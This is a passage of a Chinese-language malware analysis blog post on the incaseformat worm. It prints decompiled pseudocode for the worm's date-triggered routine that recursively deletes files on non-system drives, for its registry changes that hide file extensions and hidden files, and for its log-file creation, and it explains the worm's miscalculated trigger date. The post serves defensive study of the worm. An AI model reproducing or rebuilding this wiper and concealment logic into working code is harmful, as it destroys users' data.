        sub_44EC70(v12);// 分析(2.1)函数sub_44EC70,递归删除文件
        ++v3;
        --v2;
      }
      while ( v2 );
    }
  }
  System::TObject::Free(v13);
  v4 = v6;
  __writefsdword(0, v6);
  v8 = loc_44EF8B;
  LOBYTE(v4) = 1;
  return unknown_libname_422(*(_DWORD *)(v18 + 764), v4);
}
  • 代码35~37行
  v18 = Sysutils::Now();
  sub_44E5C8((int)&v14, a2);
  Sysutils::DecodeDate(v18);

36行代码调用sub_44E5C8函数获取磁盘信息存储到v13中。35行代码调用Now()函数获取系统当前时间,37行代码调用DecodeDate函数对获取的时间进行拆分。

  • 38行if语句
 if ( v17 <= 0x7D9u )

38行if语句条件为v17 <= 0x7D9u,其中16进制0x7D9对应的十进制值为2009,从此处可以判断v17位从系统当前时间中拆分出的年份。如果当前时间小于等于2009年,则函数返回。

  • 46行if语句
  if ( v16 <= 3u )

46行if语句条件为v16 <= 3u,可以猜测v16为从系统当前时间中拆分出的月份。如果当前时间小于等于3月,则函数返回。

  • 51行if语句
  if ( v15 == 1 || v15 == 10 || v15 == 21 || v15 == 29 )
  {
    v3 = (*(int (**)(void))(*(_DWORD *)v14 + 20))() - 1;
    if ( v3 > 0 )
    {
      v4 = 1;
      do
      {
        (*(void (__fastcall **)(int, signed int, int *))(*(_DWORD *)v14 + 12))(v14, v4, &v13);
        sub_44EC70(v13);
        ++v4;
        --v3;
      }
      while ( v3 );
    }
  }

51行if语句条件为v15 == 1 || v15 == 10 || v15 == 21 || v15 == 29,从此处可以判断v15为从系统当前时间中拆分出的日期。即当日期为1号、10号、21号或29号时,进入if语句。

综合三个if语句,当时间为2009年3月之后的每个月的1号、10号、21号或29号时,则进入51行的if语句中。

该if语句中使用do while循环调用sub_44EC70函数来处理磁盘信息列表,需要注意的是53行从v13获取磁盘信息时存在“-1”,该“-1”用于跳过C盘。

  • sub_44EC70函数

双击sub_44EC70函数,阅读该函数的逆向代码,主要代码如下:

char __fastcall sub_44EC70(int a1)
{
  int v1; // eax@1
  char v2; // zf@4
  unsigned int v4; // [sp-18h] [bp-194h]@1
  int (*v5)(); // [sp-14h] [bp-190h]@1
  int *v6; // [sp-10h] [bp-18Ch]@1
  unsigned int v7; // [sp-Ch] [bp-188h]@1
  int (*v8)(); // [sp-8h] [bp-184h]@1
  int (*v9)(); // [sp-4h] [bp-180h]@1
  int v10; // [sp+0h] [bp-17Ch]@1
  int v11; // [sp+Ch] [bp-170h]@1
  int v12; // [sp+10h] [bp-16Ch]@1
  int v13; // [sp+14h] [bp-168h]@1
  WORD FatTime; // [sp+18h] [bp-164h]@1
  char v15; // [sp+20h] [bp-15Ch]@6
  int v16; // [sp+24h] [bp-158h]@4
  int v17; // [sp+170h] [bp-Ch]@1
  char v18; // [sp+177h] [bp-5h]@8
  int v19; // [sp+178h] [bp-4h]@1
  int v20; // [sp+17Ch] [bp+0h]@1
 
  v11 = 0;
  v12 = 0;
  v13 = 0;
  v17 = 0;
  v19 = a1;
  System::__linkproc___LStrAddRef(v10);
  unknown_libname_72(&FatTime, off_406E18);
  v9 = (int (*)())&v20;
  v8 = loc_44EE40;
  v7 = __readfsdword(0);
  __writefsdword(0, (unsigned int)&v7);
  v6 = &v20;
  v5 = loc_44EDF7;
  v4 = __readfsdword(0);
  __writefsdword(0, (unsigned int)&v4);
  v1 = sub_404258(v19);
  if ( *(_BYTE *)(v19 + v1 - 1) != 92 )
    System::__linkproc___LStrCat(&v19, &str___15[1]);
  System::__linkproc___LStrCat3(&v17, v19, &str_____0[1]);
  if ( !Sysutils::FindFirst(v17, 63, (int)&FatTime) )
  {
    do
    {
      System::__linkproc___LStrCmp(v16, &str___2[1]);
      if ( !v2 )
      {
        System::__linkproc___LStrCmp(v16, &str____0[1]);
        if ( !v2 )
        {
          if ( v15 & 0x10 )
          {
            System::__linkproc___LStrCat3(&v13, v19, v16);
            if ( !sub_44EC70(v13) )
              v18 = 0;
          }
          else
          {
            System::__linkproc___LStrCat3(&v12, v19, v16);
            Sysutils::FileSetAttr(v12, 0);
            System::__linkproc___LStrCat3(&v11, v19, v16);
            Sysutils::DeleteFile(v11);
          }
        }
      }
    }
    while ( !Sysutils::FindNext(&FatTime) );
    Sysutils::FindClose(&FatTime);
  }
  Sysutils::FileSetAttr(v19, 0);
  if ( (unsigned __int8)Sysutils::RemoveDir(v19) )
    v18 = 1;
  else
    v18 = 0;
  __writefsdword(0, v4);
  __writefsdword(0, v7);
  v9 = loc_44EE47;
  System::__linkproc___LStrArrayClr(&v11, 3);
  System::__linkproc___FinalizeRecord(&FatTime, off_406E18);
  System::__linkproc___LStrClr(&v17);
  return System::__linkproc___LStrClr(&v19);
}

39行~41行用于拼接路径“\*.*”,其中40行用于拼接“\”,41行用于拼接“*.*”。

42行if语句中通过FindFirst函数对拼接后的路径进行所有文件的查找。如果当前目录下没有子内容,则直接跳转到72行删除当前目录;如果当前目录下有子内容,则进入if语句。if语句中通过fo while循环与条件FindNext遍历所有的文件和目录。

代码52行if ( v15 & 0x10 ),如果v15为0x10,则进入if语句。通过查找资料可知,0x10表示为目录,即如果当前为目录,则重新调用sub_44EC70进行递归。

faDirectory = $00000010; //目录文件

若不是目录,则执行58行else中的语句,调用deleteFile函数删除文件。分析至此可知,sub_44EC70函数用于递归删除磁盘中的数据。

即TForm1_Timer2Timer定时器的主要作用如下:

  • 获取系统时间
  • 若系统时间为2009年3月之后的每个月的1号、10号、21号或29号,则删除C盘之外的所有磁盘中的数据。

3.4 TForm1_Timer3Timer分析

在Function name窗口中双击_TForm1_Timer3Timer,并按下F5将该函数逆向出伪代码。伪代码如下:

int __fastcall TForm1_Timer3Timer(int a1)
{
  int v1; // edx@1
  int v2; // ecx@1
  int v3; // ecx@1
  int v4; // ecx@1
  unsigned int v5; // edx@3
  unsigned int v7; // [sp-Ch] [bp-14h]@1
  int (*v8)(); // [sp-8h] [bp-10h]@1
  int (*v9)(); // [sp-4h] [bp-Ch]@1
  int v10; // [sp+0h] [bp-8h]@1
  int v11; // [sp+4h] [bp-4h]@1
  int v12; // [sp+8h] [bp+0h]@1

  v11 = a1;
  unknown_libname_422(*(_DWORD *)(a1 + 768), 0);
  v9 = (int (*)())&v12;
  v8 = loc_44F505;
  v7 = __readfsdword(0);
  __writefsdword(0, (unsigned int)&v7);
  LOBYTE(v1) = 1;
  v10 = Registry::TRegistry::TRegistry(off_425998, v1);
  Registry::TRegistry::SetRootKey(v10, -2147483647);
  LOBYTE(v2) = 1;
  Registry::TRegistry::OpenKey(v10, &str_Software_Micros[1], v2);//Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
  Registry::TRegistry::WriteInteger(v10, &str_HideFileExt[1], 1);//HideFileExt为1
  Registry::TRegistry::WriteInteger(v10, &str_Hidden[1], 2);//Hidden位2
  Registry::TRegistry::CloseKey(v10);
  Registry::TRegistry::SetRootKey(v10, -2147483646);
  LOBYTE(v3) = 1;
  Registry::TRegistry::OpenKey(v10, &str_SOFTWARE_Micros[1], v3);  // 'SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL'
  Registry::TRegistry::WriteInteger(v10, &str_checkedvalue[1], 0);// 设置'checkedvalu'为0
  Registry::TRegistry::CloseKey(v10);
  Registry::TRegistry::SetRootKey(v10, -2147483646);
  LOBYTE(v4) = 1;
  Registry::TRegistry::OpenKey(v10, &str_SOFTWARE_Micros_0[1], v4);// 'SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\HideFileEx'
  if ( (unsigned __int8)Registry::TRegistry::ValueExists(v10, &str_checkedvalue[1]) )  // 如果'checkedvalue'存在则删除checkedvalu
    Registry::TRegistry::DeleteValue(v10, &str_checkedvalue[1]);
  Registry::TRegistry::CloseKey(v10);
  v5 = v7;
  __writefsdword(0, v7);
  v9 = loc_44F50C;
  LOBYTE(v5) = 1;
  unknown_libname_422(*(_DWORD *)(v11 + 768), v5);
  return System::TObject::Free(v10);
}

阅读代码可知,该定时器主要用于注册表的操作。

  • 代码23~28行
  Registry::TRegistry::SetRootKey(v10, -2147483647);
  LOBYTE(v2) = 1;
  Registry::TRegistry::OpenKey(v10, &str_Software_Micros[1], v2);
  Registry::TRegistry::WriteInteger(v10, &str_HideFileExt[1], 1);
  Registry::TRegistry::WriteInteger(v10, &str_Hidden[1], 2);
  Registry::TRegistry::CloseKey(v10);

分别双击&str_Software_Micros[1]、&str_HideFileExt[1]和&str_Hidden[1],可以查看其对应的字符串值,如图 11所示。

图 11 注册表

即该段代码将对注册表Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced中的HideFileExt和Hidden进行设置,HideFileExt设置为1用于隐藏文件扩展名,Hidden设置为2用于不显示隐藏文件。

在已中毒的计算机中手动查看注册表,和分析结果一致,如图 12所示。

图 12 病毒文件的注册表操作

  • 代码29~33行
  •   Registry::TRegistry::SetRootKey(v10, -2147483646);
      LOBYTE(v3) = 1;
      Registry::TRegistry::OpenKey(v10, &str_SOFTWARE_Micros[1], v3);
      Registry::TRegistry::WriteInteger(v10, &str_checkedvalue[1], 0);
      Registry::TRegistry::CloseKey(v10);
    

    该段代码将对注册表SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL中的checkedvalu进行设置,checkedvalu设置为0,如图 13所示。

    图 13 病毒操作注册表
    • 代码35~39行
      Registry::TRegistry::SetRootKey(v10, -2147483646);
      LOBYTE(v4) = 1;
      Registry::TRegistry::OpenKey(v10, &str_SOFTWARE_Micros_0[1], v4);
      if ( (unsigned __int8)Registry::TRegistry::ValueExists(v10, &str_checkedvalue[1]) )
        Registry::TRegistry::DeleteValue(v10, &str_checkedvalue[1]);
      Registry::TRegistry::CloseKey(v10);
    

    该段代码将对注册表SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\HideFileEx中的checkedvalue进行删除。

    总结该定时器的功能如下:

    • 操作注册表,隐藏病毒文件后缀
    • 操作注册表,不显示隐藏属性的文件和目录

    3.5 TForm1_Timer4Timer分析

    在Function name窗口中双击_TForm1_Timer4Timer,并按下F5将该函数逆向出伪代码。伪代码如下:

    int __fastcall TForm1_Timer4Timer(int a1)
    {
      int v1; // edx@1
      int v2; // esi@1
      char *v3; // ebx@2
      int v4; // ecx@3
      unsigned __int32 v6; // [sp-18h] [bp-60h]@1
      int (*v7)(); // [sp-14h] [bp-5Ch]@1
      int v8; // [sp-10h] [bp-58h]@1
      unsigned __int32 v9; // [sp-Ch] [bp-54h]@1
      unsigned int v10; // [sp-8h] [bp-50h]@1
      int *v11; // [sp-4h] [bp-4Ch]@1
      int (*v12)(); // [sp+0h] [bp-48h]@4
      int v13; // [sp+Ch] [bp-3Ch]@1
      int v14; // [sp+10h] [bp-38h]@1
      char v15; // [sp+18h] [bp-30h]@2
      int v16; // [sp+40h] [bp-8h]@1
      int v17; // [sp+44h] [bp-4h]@2
      int v18; // [sp+48h] [bp+0h]@1
    
      v14 = 0;
      v13 = 0;
      v11 = &v18;
      v10 = (unsigned int)loc_44F72D;
      v9 = __readfsdword(0);
      __writefsdword(0, (unsigned int)&v9);
      v8 = (int)&v18;
      v7 = loc_44F70B;
      v6 = __readfsdword(0);
      __writefsdword(0, (unsigned int)&v6);
      unknown_libname_422(*(_DWORD *)(a1 + 776), 0);
      LOBYTE(v1) = 1;
      v16 = unknown_libname_41(off_411BC4, v1);
      sub_44E5C8(&v16); // 获取磁盘信息
      v2 = (*(int (__stdcall **)(unsigned __int32, int (*)(), int, unsigned __int32))(*(_DWORD *)v16 + 20))(v6, v7, v8, v9)
         - 1;
      if ( v2 > 0 )
      {
        v17 = 1;
        v3 = &v15;
        do
        {
          v9 = 65535;
          (*(void (__fastcall **)(int, int, int *))(*(_DWORD *)v16 + 12))(v16, v17, &v13);
          v8 = v13;
          System::__linkproc___LStrCatN(&v14, 3, v4, &str___17[1], &str_incaseformat_lo[1]);//‘\’,‘incaseformat.log’
          *(_DWORD *)v3 = Classes::TFileStream::TFileStream(v9);
          ++v17;
          v3 += 4;
          --v2;
        }
        while ( v2 );
      }
      __writefsdword(0, v10);
      v12 = loc_44F712;
      return System::TObject::Free(v16);
    }
    

    分析代码,该定时器功能比较简单。34行通过sub_44E5C8函数来获取磁盘信息,然后47行通过TFileStream来生成名为&str_incaseformat_lo[1]的文件,即生成incaseformat.log文件,如图 14所示。

    图 16 文件名

    被感染的机器中,存在incaseformat.log文件,与分析结果一致,如图 15所示。

    图 17 病毒生成incaseformat.log文件

    总结该定时器的功能如下:

    • 生成incaseformat.log文件

    4.incaseformat为何在错误时间爆发

    在之前分析中我们了解到,通过if语句的判断条件,该病毒的第一次爆发时间应该在2010年的4月1日,但是为何2021年的1月13日才真正的爆发呢。

    在Timer2Timer中存在用于拆分时间的DecodeDate函数,该函数中调用了DecodeDateFully函数。DecodeDateFully函数调用了DateTimeToTimeStamp函数,DateTimeToTimeStamp函数代码如下:

    int __fastcall Sysutils::DateTimeToTimeStamp(int a1, int a2, int a3, double a4)
    {
      int v4; // ecx@1
      unsigned __int64 v5; // qax@1
      int v6; // edx@2
      unsigned __int64 v7; // qtt@2
      int v8; // eax@2
      unsigned __int64 v9; // qt2@3
      int result; // eax@4
    
      v4 = a1;
      v5 = (signed __int64)(a4 * flt_45017C);
      if ( SHIDWORD(v5) >= 0 )
      {
        v9 = v5 % (unsigned int)dword_450180;
        v8 = v5 / (unsigned int)dword_450180;
        v6 = v9;
      }
      else
      {
        LODWORD(v5) = -(signed int)v5;
        LODWORD(v7) = v5;
        HIDWORD(v7) = -HIDWORD(v5) - ((_DWORD)v5 != 0);
        v6 = v7 % (unsigned int)dword_450180;
        v8 = -(signed int)(v7 / (unsigned int)dword_450180);
      }
      result = v8 + 693594;
      *(_DWORD *)v4 = v6;
      *(_DWORD *)(v4 + 4) = result;
      return result;
    }
    

    其中dword_450180的值为5A75CC4h,转换成十进制后为94,854,340。

    实际上该函数中的该变量的值应该是86400000,即一天的毫秒数1000×60×60×24=86400000,但是病毒程序中的此处数据被更改为了94854340,从而导致程序计算时间有误。

    发表评论

    您的电子邮箱地址不会被公开。 必填项已用*标注